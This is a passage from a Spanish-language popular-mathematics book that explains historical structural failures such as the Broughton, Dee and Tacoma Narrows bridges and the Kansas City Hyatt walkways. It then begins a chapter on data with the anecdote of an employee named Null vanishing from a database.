frecuencias	 de	 resonancia	 que	 puedan	 entrar	 en	 sincronía	 con	 los	 pasos
humanos.	Pero	después	de	la	revolución	industrial	de	los	siglos	XVIII	y	XIX,	los
ingenieros	 empezaron	 a	 experimentar	 con	 nuevos	 diseños	 en	 los	 que
utilizaban	celosías,	ménsulas	y	péndolas.	Finalmente,	se	construyó	un	puente
colgante	 que	 estaba	 dentro	 del	 rango	 que	 podía	 alcanzar	 la	 resonancia
provocada	por	los	humanos.

Uno	 de	 los	 primeros	 puentes	 que	 se	 destruyeron	 debido	 a	 la
sincronización	del	paso	de	los	peatones	fue	un	puente	colgante	situado	en	las
afueras	de	Manchester	(en	lo	que	actualmente	es	la	ciudad	de	Salford).	Creo
que	este	puente	colgante	de	Broughton	fue	el	primer	puente	que	se	destruyó
debido	 a	 la	 frecuencia	 de	 resonancia	 de	 los	 peatones	 que	 lo	 cruzaban.	 A
diferencia	del	Puente	del	Milenio,	que	tenía	un	ciclo	de	retroalimentación	que
se	 sincronizaba	 con	 los	 peatones,	 en	 el	 puente	Broughton	 la	 resonancia	 del
paso	de	las	personas	que	lo	cruzaban	no	tenía	con	qué	sincronizarse.

El	puente	se	construyó	en	1826,	y	la	gente	lo	cruzaba	sin	problema	alguno
hasta	 1831.	 Hizo	 falta	 que	 pasase	 un	 pelotón	 de	 soldados	 marchando
perfectamente	en	sincronía	para	alcanzar	la	frecuencia	de	resonancia.	El	60.º
Cuerpo	de	Fusileros	compuesto	por	setenta	y	cuatro	soldados	se	dirigía	a	sus
barracones	 alrededor	 del	 mediodía	 del	 12	 de	 abril	 de	 1831.	 Empezaron	 a
cruzar	el	puente	en	filas	de	cuatro	y	enseguida	notaron	que	el	puente	se	estaba
balanceando	 rítmicamente	 con	 sus	 pasos.	Al	 principio	 parecía	 algo	 bastante
divertido	y	empezaron	a	silbar	una	canción	que	encajaba	con	el	rebote.	Hasta
que	 fueron	 ya	 unos	 sesenta	 soldados	 los	 que	 rebotaban	 a	 la	 vez	 sobre	 el
puente	cuando	este	se	derrumbó.

Unas	veinte	personas	sufrieron	heridas	por	caer	al	río	desde	una	altura	de
cinco	metros;	afortunadamente,	nadie	murió.	En	el	análisis	posterior	se	llegó	a
la	conclusión	de	que	las	vibraciones	fueron	las	culpables	de	haber	hecho	que
el	 puente	 soportase	 una	 carga	mayor	 que	 la	 que	 habría	 generado	 el	mismo
número	 de	 personas	 detenidas	 sobre	 él.	 Se	 revisaron	 puentes	 similares;	 el
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conocimiento	 de	 este	 tipo	 de	 fallo	 ya	 era	 una	 realidad.	 Por	 suerte,	 no	 fue
necesario	 que	 se	 perdiera	 ninguna	 vida	 humana	 para	 ser	 conscientes	 de	 la
importancia	de	la	resonancia	en	los	puentes	colgantes.	En	la	actualidad,	existe
una	 advertencia	 en	 el	Albert	Bridge	 de	Londres	 en	 la	 que	 se	 advierte	 a	 las
tropas	de	que	no	marchen	al	paso	cuando	lo	crucen.

En	un	giro

Cosas	como	las	anteriores	ni	se	descubren	ni	se	recuerdan	tan	fácilmente.	A
mediados	 del	 siglo	 XIX,	 la	 red	 ferroviaria	 estaba	 extendiéndose	 por	 toda
Inglaterra,	 lo	 que	 requería	 la	 construcción	 de	 un	 montón	 de	 puentes	 que
pudieran	soportar	el	paso	de	un	tren	completamente	cargado.	Un	puente	que
soporte	un	tren	es	más	difícil	de	diseñar	que	un	puente	para	peatones	o	para
vehículos.	 Los	 humanos	 y	 los	 carruajes	 tienen	 cierto	 nivel	 de	 suspensión
integrada;	 pueden	 desplazarse	 sobre	 superficies	 que	 se	mueven	 un	 poquito.
Un	tren	no	tiene	esa	tolerancia.	Es	necesario	que	la	superficie	sobre	la	que	se
desplaza	 esté	 absolutamente	 quieta,	 lo	 que	 implica	 que	 los	 puentes
ferroviarios	sean	rígidos.

Han	de	romper	el	paso,	pero	no	el	puente.

A	 finales	 de	 1846,	 el	 ingeniero	 Robert	 Stephenson	 diseñó	 un	 puente
ferroviario	que	cruzaba	el	río	Dee,	en	Chester.	El	puente	era	más	largo	que	los
que	hasta	entonces	había	diseñado	Stephenson,	pero	 lo	 tensó	y	 reforzó	para
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que	pudiera	hacer	frente	a	las	pesadas	cargas	sin	moverse	demasiado.	Fue	el
clásico	 paso	 adelante	 en	 ingeniería:	 coges	 diseños	 anteriores	 exitosos	 y
consigues	que	hagan	un	poquito	más	a	 la	vez	que	utilizan	menos	materiales
para	su	construcción.	El	puente	Dee	cumplía	ambos	criterios.

Se	inauguró	y	funcionó	a	la	perfección.	El	imperio	británico	dependía	de
los	trenes,	y	los	ingenieros	británicos	se	enorgullecían	de	sus	puentes	rígidos.
En	mayo	de	1847,	el	puente	 se	modificó	 ligeramente;	 se	añadió	más	 roca	y
gravilla	para	impedir	que	las	vías	vibraran	y	para	proteger	las	vigas	de	madera
del	puente	de	los	rescoldos	ardientes	que	producían	las	locomotoras	de	vapor.
Stephenson	 inspeccionó	 el	 trabajo	 realizado	 y	 dio	 su	 aprobación.	 El	 peso
extra	 que	 se	puso	 sobre	 el	 puente	 estaba	dentro	de	 los	 límites	 de	 tolerancia
esperados.	 Sin	 embargo,	 el	 primer	 tren	 que	 lo	 cruzó	 después	 de	 la
modificación	no	consiguió	llegar	al	otro	lado.

No	es	que	el	puente	no	pudiera	soportar	el	peso	extra,	sino,	más	bien,	que
la	combinación	de	longitud	y	masa	reveló	una	forma	completamente	nueva	en
la	que	los	puentes	podían	fallar.	Resulta	que,	al	igual	que	con	las	vibraciones
hacia	 arriba	 y	 hacia	 abajo	 y	 las	 laterales,	 los	 puentes	 también	 se	 pueden
curvar	en	el	medio.	La	mañana	del	24	de	mayo	de	1847,	pasaron	seis	trenes
sobre	el	puente	sin	problema	alguno,	justo	antes	de	que	esa	tarde	se	añadiera
la	masa	extra	a	base	de	fragmentos	de	rocas.

Cuando	 el	 siguiente	 tren	 estaba	 cruzando	 el	 puente	 reinaugurado,	 el
conductor	 sintió	 que	 el	 puente	 se	 estaba	 moviendo	 bajo	 sus	 pies.	 Intentó
cruzarlo	 lo	más	 rápido	 posible	 (los	 trenes	 de	 vapor	 no	 son	 famosos	 por	 su
aceleración)	y	lo	logró	por	los	pelos.	Es	decir,	lo	consiguió	el	conductor	y	la
locomotora.	Pero	no	los	cinco	vagones	de	los	que	tiraba.	El	puente	se	retorció
hacia	un	 lado	y	 los	vagones	cayeron	al	 río.	Hubo	dieciocho	heridos	y	cinco
fallecidos.

Desde	 ciertos	 puntos	 de	 vista,	 es	 comprensible	 que	 ocurra	 un	 desastre
como	ese.	Obviamente,	deberíamos	hacer	 lo	que	 fuese	necesario	para	evitar
los	 errores	 de	 la	 ingeniería,	 pero	 cuando	 los	 ingenieros	 están	 forzando	 los
límites	 de	 lo	 que	 es	 posible,	 en	 ocasiones,	 una	 faceta	 de	 las	 matemáticas
oculta	hasta	entonces	 se	manifiesta	 repentinamente.	A	veces,	añadir	algo	de
masa	 es	 todo	 lo	 que	 hace	 falta	 para	 cambiar	 las	 matemáticas	 que	 rigen	 el
comportamiento	de	una	estructura.

Es	algo	característico	del	progreso	humano.	Hacemos	cosas	que	van	más
allá	de	lo	que	comprendemos	y	de	lo	que	siempre	hemos	hecho.	Las	máquinas
de	 vapor	 funcionaban	 antes	 de	 que	 dispusiéramos	 de	 una	 teoría	 de	 la
termodinámica;	 las	 vacunas	 se	 desarrollaron	 antes	 de	 que	 supiéramos	 cómo
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funciona	el	 sistema	 inmunitario;	 los	aviones	 siguen	volando	a	día	de	hoy,	a
pesar	 de	 los	 muchos	 huecos	 que	 hay	 en	 nuestra	 comprensión	 de	 la
aerodinámica.	Mientras	la	teoría	vaya	por	detrás	de	las	aplicaciones	prácticas,
siempre	 habrá	 sorpresas	 matemáticas	 esperándonos.	 Lo	 importante	 es	 que
aprendamos	de	estos	errores	inevitables	y	no	los	repitamos.

Ese	 movimiento	 de	 los	 puentes	 ha	 pasado	 a	 ser	 conocido	 por	 los
ingenieros	como	«inestabilidad	torsional»,	lo	que	significa	que	una	estructura
tiene	 la	 capacidad	 de	 torcerse	 libremente	 en	 el	 medio.	 Para	 mí,	 la
inestabilidad	torsional	es	ese	movimiento	que	nadie	espera.	La	mayoría	de	las
estructuras	 no	 poseen	 la	 combinación	 correcta	 de	 tamaño	 y	 longitud	 para
contonearse	de	forma	perceptible,	por	lo	que	la	inestabilidad	torsional	cae	en
el	olvido	hasta	que	una	nueva	construcción	pasa	el	punto	crítico	en	el	que	se
manifiesta	y,	entonces,	de	repente,	¡ha	vuelto!

Después	 de	 lo	 del	 puente	 Dee	 (y	 de	 otros	 accidentes	 similares),	 los
ingenieros	examinaron	rigurosamente	las	vigas	de	hierro	fundido	y	decidieron
utilizar	hierro	forjado	desde	entonces.	El	informe	oficial	culpaba	del	desastre
a	 la	 debilidad	 del	 hierro	 fundido.	 Stephenson	 respondió	 con	 la	 ocurrente
insinuación	 de	 que	 el	 tren	 descarriló	 por	 sí	 mismo,	 argumentando,
básicamente,	 que	 el	 tren	 rompió	 el	 puente,	 y	 no	 al	 revés.	 Nadie	 estuvo	 de
acuerdo.	Pero	sí	que	planteó	un	punto	interesante.	En	todos	los	puentes	que	él
había	 construido,	 las	 vigas	 de	hierro	 fundido	 funcionaban	bien.	Ninguna	de
sus	teorías	dio	con	la	causa	correcta.

Al	final	del	informe,	casi	descubrían	al	auténtico	culpable,	la	inestabilidad
torsional.	El	 ingeniero	civil	James	Walker	y	el	 inspector	ferroviario	J.	L.	A.
Simmons	 cerraban	 el	 informe	 admitiendo	 que	 los	 demás	 puentes	 de
Stephenson	no	se	habían	caído,	pero	sí	que	 todos	 tenían	«una	arcada	menor
que	 la	del	puente	Dee	de	Chester»	y	que	«las	dimensiones	de	sus	secciones
eran	proporcionalmente	menores».	Durante	un	breve	instante,	admitieron	que
podía	haber	algo	que	tuviera	que	ver	con	la	escala	del	puente,	pero	acabaron
culpando	a	la	debilidad	de	las	vigas.	No	dieron	el	paso	que	les	faltaba.	Y	el
refuerzo	que	se	decidió	aplicar	a	los	puentes	futuros	era	suficiente	para	que	la
inestabilidad	torsional	se	volviera	a	esconder.	Durante	un	tiempo.

La	 inestabilidad	 torsional	 volvió	 a	 aparecer,	 y	 con	 ganas,	 en	 el	 puente
Tacoma	Narrows	 (estado	 de	Washington,	 Estados	 Unidos).	 Diseñado	 en	 la
década	 de	 1930,	 formaba	 parte	 de	 la	 nueva	 estética	 visual	 art	 decó;	 el
principal	 diseñador,	 Leon	 Moisseiff,	 dijo	 que	 los	 ingenieros	 de	 puentes
deberían	«buscar	 lo	grácil	y	 elegante».	Y	eso	hicieron.	Un	puente	 fino,	 con
forma	de	lazo	y	aerodinámico	que	parecía	 increíblemente	grácil.	Además	de
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ser	 hermoso,	 era	 barato.	 Utilizando	 menos	 acero,	 el	 diseño	 de	 Moisseiff
costaba	 aproximadamente	 la	 mitad	 que	 el	 diseño	 propuesto	 por	 su
competidor.

Inaugurado	en	julio	de	1940,	el	puente	demostró	muy	pronto	que	el	hecho
de	que	el	coste	fuese	barato	tenía	un	precio.	La	fina	superficie	se	movía	arriba
y	abajo	con	el	viento.	Todavía	no	se	trataba	de	inestabilidad	torsional,	sino	del
clásico	 balanceo	 vertical	 que	 había	 causado	 tantos	 problemas	 en	 otros
puentes.	Pero	parece	 ser	 que,	 en	 este	 caso,	 no	 existía	 el	 suficiente	balanceo
para	que	este	fuese	considerado	peligroso.	Se	le	comunicó	a	la	gente	que	era
perfectamente	seguro	cruzar	el	Galloping	Gertie	(Gertie	galopante),	que	es	el
apodo	 que	 le	 pusieron	 los	 lugareños	 al	 puente.	 (Parece	 ser	 que	 los
norteamericanos	son	incluso	más	creativos	a	la	hora	de	ponerle	nombre	a	los
edificios	 que	 los	 londinenses,	 quienes,	 seguramente,	 lo	 habrían	 bautizado
como	el	puente	ondulante.)

Dado	que	los	expertos	habían	asegurado	que	el	puente	era	seguro,	para	la
gente	 pasó	 a	 ser	 un	 paseo	 divertido,	mientras	 que	 los	 ingenieros	 intentaban
averiguar	cómo	podían	eliminar	ese	movimiento.	Y	entonces,	 en	noviembre
de	1940,	el	puente	se	derrumbó	de	forma	espectacular.	Se	ha	convertido	en	un
ejemplo	icónico	de	fallo	de	ingeniería,	porque	se	produjo	cerca	de	una	tienda
de	 cámaras	 fotográficas,	 en	 la	 que	 el	 propietario,	 Barney	 Elliott,	 tenía
películas	 de	 color	 Kodachrome	 de	 16	 milímetros.	 Elliott	 y	 su	 compañero
consiguieron	fotografiar	el	desplome	del	puente.

Pero	 la	mala	 fama	del	 colapso	de	este	puente	 también	 fue	debida	a	otro
aspecto	 negativo:	 una	 explicación	 errónea.	 Hasta	 la	 fecha,	 el	 desastre	 del
puente	de	Tacoma	Narrows	es	considerado	un	ejemplo	de	los	peligros	de	las
frecuencias	de	resonancia.	Al	igual	que	ocurrió	con	el	Puente	del	Milenio,	se
argumentó	que	el	viento	que	pasaba	por	debajo	del	Tacoma	Narrows	 igualó
una	frecuencia	de	resonancia	del	puente	y	lo	despedazó.	Pero,	a	diferencia	del
Puente	del	Milenio,	eso	no	es	cierto.	No	fue	la	resonancia	la	que	derrumbó	el
puente.
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Puente	Tacoma	Narrows,	1940.	Momentos	después,	un	tipo	saltó	de	ese	coche	y	corrió	para	ponerse	a
salvo.

Fue	el	otro	villano	del	Puente	del	Milenio:	un	ciclo	de	retroalimentación.
Uno	que	no	 tenía	 como	protagonista	 a	 la	 resonancia,	 sino	 a	 la	 inestabilidad
torsional.	La	 elegancia	 de	 su	 diseño	 lo	 hizo	más	 aerodinámico.	Es	 decir,	 el
aire	lo	hizo	dinámico.	Mientras	que	otros	diseños	propuestos	para	el	puente	de
Tacoma	Narrows	tenían	una	red	metálica	a	través	de	la	cual	pudiera	pasar	el
viento,	el	puente	que	se	construyó	tenía	laterales	metálicos	planos,	perfectos
para	dificultar	el	paso	del	viento.

Lo	 que	 se	 retroalimentaba	 era	 lo	 que	 se	 conoce	 como	 «flameo».	 Bajo
circunstancias	 normales,	 el	 puente	 se	 curvaría	 en	 el	 medio	 un	 poco	 pero
rápidamente	retornaría	a	su	posición	normal.	Pero,	con	el	viento	suficiente,	el
ciclo	de	retroalimentación	del	flameo	provocaría	que	la	inestabilidad	torsional
alcanzara	niveles	perceptibles.	Si	el	 lateral	del	puente	que	estaba	en	la	parte
en	 la	 que	 soplaba	 el	 viento	 se	 elevaba	 ligeramente	 gracias	 a	 alguna	 torsión
típica,	entonces	se	comportaría	como	un	ala	de	avión	y	el	efecto	aumentaría
debido	al	viento.	Cuando	rebotaba	y	se	hundía,	el	efecto	del	viento	iba	en	el
otro	 sentido,	 empujándolo	 más	 hacia	 abajo.	 Por	 lo	 que	 cada	 vez	 que	 se
producía	 una	 torsión	 hacia	 arriba	 o	 hacia	 abajo,	 se	 veía	 favorecida	 por	 el
viento	 y	 aumentaba	 el	 tamaño	 de	 las	 oscilaciones.	 Si	 el	 lector	 sopla	 lo
suficientemente	 fuerte	 sobre	 una	 cinta	 tirante,	 podrá	 ver	 el	 efecto	 por	 sí
mismo.
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Como	 consecuencia	 del	 desastre	 del	 puente	 de	 Tacoma	 Narrows,	 se
reforzaron	puentes	similares.	El	flameo	se	añadió	a	la	larga	lista	de	cosas	de
las	 que	 se	 ha	 de	 preocupar	 un	 ingeniero	 cuando	 diseña	 un	 puente.
Actualmente,	los	ingenieros	suelen	tener	en	cuenta	la	inestabilidad	torsional	y
diseñan	 los	 puentes	 en	 consecuencia.	 Lo	 que	 debería	 significar	 que	 ya	 no
volverá	 a	 ocurrir	 algo	 igual.	 Pero,	 a	 veces,	 las	 lecciones	 aprendidas	 en	 una
parcela	 de	 la	 ingeniería	 no	 repercuten	 en	 las	 demás.	 Resulta	 que	 la
inestabilidad	torsional	puede	afectar	también	a	los	edificios.

La	 torre	 John	 Hancock,	 de	 sesenta	 pisos	 de	 altura,	 fue	 construida	 en
Boston	durante	la	década	de	1970	y	se	descubrió	que	tenía	una	inestabilidad
torsional	 inesperada.	 La	 interacción	 con	 el	 viento	 entre	 los	 edificios
circundantes	y	la	propia	torre	estaba	haciendo	que	este	se	retorciera.	A	pesar
de	haber	sido	diseñado	acorde	a	 las	normas	de	construcción	vigentes	en	ese
momento,	la	inestabilidad	torsional	encontró	una	forma	de	retorcer	el	edificio
y	la	gente	que	se	hallaba	en	los	pisos	superiores	empezó	a	sentirse	mareada.
Una	 vez	 más,	 ¡el	 amortiguador	 de	 masas	 sintonizadas	 vino	 al	 rescate!	 Se
colocaron	piezas	de	plomo	de	unas	300	toneladas	de	peso	en	tanques	llenos	de
aceite	en	los	extremos	opuestos	del	piso	cincuenta	y	ocho.	Unidos	al	edificio
mediante	 resortes,	 actuaban	para	 amortiguar	 cualquier	vibración	y	mantener
así	el	movimiento	por	debajo	de	un	nivel	perceptible.

El	edificio,	cuyo	nombre	oficial	es	hoy	el	200	de	la	calle	Clarendon,	sigue
en	 pie.	 Por	 lo	 visto,	 las	 normas	 de	 construcción	 (y	 el	 edificio)	 fueron
reforzadas	 después	 del	 incidente	 de	 la	 vibración	 del	 edificio.	 Pero	 he	 sido
incapaz	 de	 encontrar	 ninguna	 prueba	 de	 si	 el	 edificio	 está	 capacitado	 para
resistirse	a	«The	Power»	de	Snap.

Caminando	sobre	terrenos	inciertos

Este	ligero	avance	en	el	conocimiento	de	las	matemáticas	y	de	la	ingeniería	ha
durado	 siglos	 y	 los	 humanos	 son	 ahora	 capaces	 de	 construir	 algunas
estructuras	 realmente	 increíbles.	 Después	 de	 cada	 fracaso,	 se	 mejoran	 las
normas	 de	 ingeniería	 y	 las	 buenas	 prácticas	 de	 tal	 forma	 que	 podemos
aprender	 de	 aquello	 que	 salió	mal.	Al	mismo	 tiempo,	 nuestro	 conocimiento
matemático	 crece	 y	 pone	 a	 disposición	 de	 los	 ingenieros	más	 herramientas
teóricas.	El	único	punto	negativo	es	que	las	matemáticas	y	la	experiencia	nos
permiten	actualmente	construir	estructuras	que	van	más	allá	de	lo	que	nuestra
intuición	puede	comprender.

Imagine	 que	 le	 enseñamos	 a	 un	 ingeniero	 de	 la	 época	 de	 la	 revolución
industrial	 un	 moderno	 rascacielos	 de	 823	 metros	 de	 altura,	 o	 la	 Estación
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Espacial	 Internacional,	 de	 108	 metros	 de	 largo	 y	 420	 toneladas	 de	 peso,
orbitando	 alrededor	 de	 la	 Tierra.	 Pensarían	 que	 se	 trata	 de	 magia.	 Pero	 si
trajésemos	 a	 Robert	 Stephenson	 desde	 el	 siglo	 XIX	 a	 la	 actualidad	 y	 le
mostrásemos	un	rascacielos,	pero	también	le	diéramos	un	curso	de	ingeniería
estructural	asistida	por	ordenador,	lo	entendería	bastante	rápido.	La	ingeniería
es	fácil	si	entiendes	las	matemáticas.

En	1980,	se	construyó	en	Kansas	City	una	pasarela	peatonal	para	el	hotel
Hyatt	Regency.	Se	realizaron	complejos	cálculos	para	que	diera	la	impresión
de	que	la	pasarela	flotaba	en	el	aire,	apoyada	por	unas	pocas	barras	metálicas
finas	en	el	segundo	piso	por	encima	del	vestíbulo	del	hotel.	Sin	matemáticas,
habría	 sido	 algo	 demasiado	 peligroso:	 alguien	 tendría	 que	 haber	 adivinado
cuán	pequeños	podían	ser	los	apoyos	y	aun	así	sostener	de	forma	segura	a	los
transeúntes.	Pero,	gracias	a	la	certidumbre	de	las	matemáticas,	los	ingenieros
sabrían	 que	 los	 apoyos	 iban	 a	 funcionar	 antes	 incluso	 de	 poner	 un	 simple
tornillo	en	el	lugar	correcto.

Esta	 es	 la	diferencia	 entre	 las	matemáticas	y	 los	humanos	al	 abordar	un
problema.	 El	 cerebro	 humano	 es	 un	 dispositivo	 de	 cálculo	 increíble,	 pero
hemos	 evolucionado	 para	 tomar	 decisiones	 y	 evaluar	 resultados.	 Somos
máquinas	 de	 aproximación.	 Las	 matemáticas,	 sin	 embargo,	 pueden	 ir
directamente	a	 la	 respuesta	correcta.	Pueden	averiguar	el	punto	exacto	en	el
que	las	cosas	pasan	de	estar	bien	a	estar	mal,	de	ser	correctas	a	incorrectas,	de
ser	seguras	a	ser	desastrosas.

El	 lector	 puede	 hacerse	 una	 idea	 de	 lo	 que	 quiero	 decir	 observando	 las
estructuras	 del	 siglo	 XIX	 y	 de	 inicios	 del	 xx.	 Se	 construyeron	 a	 partir	 de
grandes	bloques	de	piedra	y	gigantescas	vigas	de	acero	plagadas	de	remaches.
Todo	está	diseñado,	hasta	el	punto	de	que	un	humano	puede	observar	y	sentir
instintivamente	que	es	segura.	En	el	puente	de	la	bahía	de	Sidney	(1932,	foto
de	 abajo)	 hay	 casi	más	 remaches	 que	 vigas	 de	 acero.	 Sin	 embargo,	 con	 las
matemáticas	modernas	podemos	acercarnos	al	límite	de	lo	que	es	seguro.
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Sip,	eso	no	va	a	ningún	sitio.

Aunque	 en	 el	 Kansas	 Hyatt,	 todo	 salió	 mal.	 Fue	 un	 recordatorio	 muy
costoso	de	los	riesgos	que	se	corren	al	construir	edificaciones	más	allá	de	lo
que	 resulta	 intuitivo	 para	 nuestros	 cerebros.	 Durante	 la	 construcción,	 se
realizó	un	cambio	aparentemente	inofensivo	en	el	diseño	y	los	ingenieros	no
rehicieron	correctamente	 los	cálculos.	Nadie	se	dio	cuenta	de	que	el	cambio
alteraría	 fundamentalmente	 las	matemáticas	 subyacentes.	 Y	 con	 la	 pasarela
sobrepasaron	el	límite.

La	modificación	parecía	una	buena	idea.	La	pasarela	tenía	dos	niveles,	en
el	 segundo	 y	 cuarto	 piso	 del	 hotel.	 El	 diseño	 requería	 unos	 finos	 y	 largos
tirantes	de	metal	que	sostenían	los	dos	niveles	de	la	pasarela	desde	arriba:	uno
a	media	altura	de	los	tirantes	y	el	otro	en	su	base.	Las	tuercas	iban	enroscadas
en	 los	 tirantes,	 y	 apoyadas	 en	 ellas	 se	 colocaban	 unas	 vigas	 cajón	 (vigas
huecas	rectangulares	de	metal).	Cuando	el	diseño	se	trasladó	al	edificio	real,
la	 longitud	 de	 los	 tirantes	 complicó	 las	 cosas:	 las	 tuercas	 que	 sujetaban	 la
pasarela	superior	se	tendrían	que	pasar	por	toda	la	longitud	de	los	tirantes,	que
eran	realmente	muy	largos.	Y	como	cualquiera	que	haya	montado	un	mueble
puede	 confirmar,	 incluso	 enroscar	 una	 tuerca	 en	 un	 tornillo	 de	 unos	 pocos
centímetros	puede	ser	tedioso.

Se	encontró	una	solución	bastante	sencilla:	cortar	los	tirantes	por	la	mitad
y	tener	así	unos	tirantes	más	cortos	desde	la	pasarela	superior	a	la	inferior,	y
otros	más	cortos	desde	la	superior	a	la	inferior.	La	disposición	parece	idéntica
a	la	que	se	había	planeado	anteriormente,	excepto	que	ahora	todas	las	tuercas
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se	encontraban	al	 final	de	un	 tirante,	a	una	distancia	en	 la	que	era	más	fácil
enroscarlas.	Satisfecho	con	este	retoque,	el	equipo	de	construcción	construyó
la	 pasarela	 y	 pronto	 la	 gente	 empezó	 a	 utilizarla	 para	 salir	 a	 toda	 prisa	 del
hotel.

Entonces,	el	17	de	julio	de	1981,	mientras	un	montón	de	gente	las	estaba
utilizando	 a	 modo	 de	 mirador,	 los	 pernos	 atravesaron	 las	 vigas	 cajón	 de
apoyo,	y	murieron	más	de	cien	personas.

Este	 es	 un	 triste	 recordatorio	 de	 lo	 fácil	 que	 es	 cometer	 un	 error
matemático	 con	 consecuencias	 dramáticas.	 En	 este	 caso,	 el	 diseño	 había
cambiado,	pero	no	se	habían	rehecho	los	cálculos.

En	 el	 diseño	 original,	 cada	 tuerca	 tenía	 que	 servir	 de	 apoyo	 para	 la
pasarela	 justo	 por	 encima	 de	 ella	 y	 a	 cualquier	 persona	 sobre	 ella.	 El	 sutil
cambio	 del	 que	 nadie	 se	 percató	 fue	 que,	 con	 la	 modificación,	 la	 pasarela
inferior	 estaba	 ahora	 suspendida	 directamente	 de	 la	 superior.	 Por	 lo	 que,
además	de	soportar	su	propio	peso	y	el	de	la	gente	que	hubiera	sobre	ella,	esta
pasarela	 superior	 también	 tenía	 colgando	 de	 ella	 a	 la	 pasarela	 inferior.	 Las
tuercas	que	antes	tenían	que	sostener	solo	a	la	pasarela	superior	estaban	ahora
soportando	el	peso	de	toda	la	estructura.

El	diseño	propuesto	para	la	pasarela.	A	la	derecha,	las	pasarelas	del	segundo	y	cuarto	piso	que	se
derrumbaron	están	suspendidas	por	los	mismos	tirantes.
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En	la	«Investigación	del	derrumbe	de	las	pasarelas	del	Kansas	City	Hyatt
Regency»,	 se	 descubrió	 que	 incluso	 el	 diseño	 original	 no	 cumplía	 con	 los
requisitos	 de	 las	 normas	 de	 construcción	 de	 Kansas	 City.	 Las	 pruebas
realizadas	revelaron	que	las	vigas	cajón	apoyadas	en	las	 tuercas	solo	podían
sostener	 9.280	 kilogramos	 de	 masa	 cada	 uno,	 mientras	 que	 las	 normas	 de
construcción	exigen	que	cada	junta	sea	capaz	de	sostener	15.400	kilogramos.
Esta	 carga	máxima	 es	 deliberadamente	 exagerada	para	 garantizar	 así	 que	 la
pasarela	 nunca	 se	 cargará	 al	 límite.	 Por	 lo	 que,	 incluso	 si	 la	 pasarela	 se
hubiera	 construido	 para	 resistir	 solo	 el	 60%	 del	 máximo	 requerido	 en	 las
normas,	 existe	 una	 posibilidad	 de	 que	 nunca	 se	 hubiera	 visto	 sometida	 a
fuerzas	lo	suficientemente	fuertes	como	para	romperla.
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La	viga	cajón	después	de	que	la	tuerca	y	el	tirante	que	la	sostenían	la	desgarraran.

En	el	momento	del	derrumbe,	cada	tuerca	de	las	vigas	cajón	de	la	pasarela
inferior	estaba	soportando	5.200	kilogramos.	Lo	que	significa	que,	incluso	si
no	hubieran	sido	tan	fuertes	como	especifican	las	normas,	aun	podrían	haber
sostenido	 a	 la	muchedumbre	 que	 se	 había	 reunido	 sobre	 ella.	 En	 el	 diseño
original,	con	 las	barras	continuas,	 los	pernos	de	 la	pasarela	superior	estaban
bajo	 una	 carga	 similar	 y	 también	 habrían	 sobrevivido.	 Por	 lo	 que,	 si	 la
pasarela	 se	 hubiera	 construido	 siguiendo	 el	 diseño	 original,	 existe	 una
posibilidad	de	que	nadie	se	hubiera	dado	cuenta	de	que	no	estaba	cumpliendo
las	normas	de	construcción.

Pero,	 debido	 a	 la	 alteración	 realizada	 en	 el	 diseño,	 los	 pernos	 de	 la
pasarela	superior	estaban	soportando	el	doble	de	esa	carga,	según	los	cálculos
realizados	fueron	unos	9.690	kilogramos	por	perno.	Eso	es	mucho	más	de	lo
que	podían	soportar	las	vigas	cajón,	por	lo	que	uno	de	los	pernos	situados	en
la	parte	central	saltó.	Esto	hizo	que	los	pernos	restantes	tuvieran	que	soportar
todavía	 más	 carga,	 por	 lo	 que	 se	 rompieron	 rápidamente	 uno	 tras	 otro,
provocando	que	la	pasarela	se	derrumbase.
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Fue	 una	 situación	 desafortunada,	 en	 la	 que	 no	 solo	 no	 se	 hicieron	 los
cálculos	 iniciales	 según	 los	 estándares	 correctos,	 sino	 que	 también	 se
cambiaron	 luego	 los	 cálculos	 necesarios	 y	 nadie	 los	 volvió	 a	 comprobar.
Puede	 que	 cada	 uno	 de	 esos	 errores	 por	 sí	 solo	 no	 hubiera	 provocado	 el
derrumbe.	 Pero	 todos	 juntos	 dieron	 como	 resultado	 la	 muerte	 de	 114
personas.

Permitir	que	las	matemáticas	nos	lleven	más	allá	de	nuestra	intuición	tiene
muchos	 beneficios,	 pero	 también	 es	 cierto	 que	 con	 algunos	 riesgos.	 La
inmensa	 mayoría	 de	 veces,	 la	 gente	 cruza	 los	 puentes	 y	 camina	 sobre
pasarelas	ignorando	felizmente	cuánto	se	han	esforzado	los	ingenieros	en	que
eso	fuera	posible.	Solo	somos	conscientes	de	ello	cuando	algo	sale	mal.
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Tres

MICRODATOS
A	mediados	de	la	década	de	1990,	un	nuevo	empleado	de	Sun	Microsystems
en	California	desaparecía	continuamente	de	su	base	de	datos.	Cada	vez	que	se
introducían	 sus	 datos,	 daba	 la	 impresión	 de	 que	 el	 sistema	 se	 lo	 zampaba
entero;	 desaparecía	 sin	 dejar	 rastro.	 Nadie	 en	 recursos	 humanos	 pudo
averiguar	por	qué	el	pobre	Steve	Null	era	la	kryptonita	de	la	base	de	datos.

El	personal	de	recursos	humanos	introducía	su	apellido	«Null»,	pero	eran
felizmente	ignorantes	de	que,	en	la	base	de	datos,	NULL	es	el	término	para	la
falta	 de	 datos,	 por	 lo	 que	 Steve	 pasó	 a	 ser	 una	 entrada	 nula.	 Para	 los
ordenadores,	 su	 nombre	 era	 Steve	 Zero	 o	 Steve	 TioNoExistes.	 Al	 parecer,
necesitaron	un	tiempo	para	darse	cuenta	de	lo	que	estaba	ocurriendo,	mientras
seguían	introduciendo	una	y	otra	vez	sus	datos	cada	vez	que	se	planteaba	el
asunto,	sin	pararse	nunca	a	pensar	por	qué	la	base	de	datos	le	eliminaba	una	y
otra	vez.

Desde	 la	 década	 de	 1990,	 las	 bases	 de	 datos	 se	 han	 vuelto	mucho	más
sofisticadas,	pero	el	problema	persiste.	Null	sigue	siendo	un	apellido	legítimo
y	 el	 código	 informático	 sigue	 utilizando	NULL	 para	 representar	 la	 falta	 de
datos.	Una	variación	del	problema	es	que	una	base	de	datos	de	una	compañía
acepte	a	un	empleado	cuyo	nombre	sea	Null,	pero	no	haya	forma	de	buscarle
en	ella.	Si	buscamos	personas	con	el	nombre	Null,	 la	 respuesta	será,	bueno,
que	no	hay	(null,	en	inglés).

Dado	 que	 los	 ordenadores	 utilizan	 la	 palabra	NULL	 para	 representar	 la	 falta	 de
datos,	lo	verá	aparecer	ocasionalmente	cuando	un	sistema	informático	ha	cometido
algún	error	y	no	encuentra	los	datos	que	necesita.
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He	buscado	en	mi	bandeja	de	entrada	y	he	encontrado	algunos	correos	electrónicos
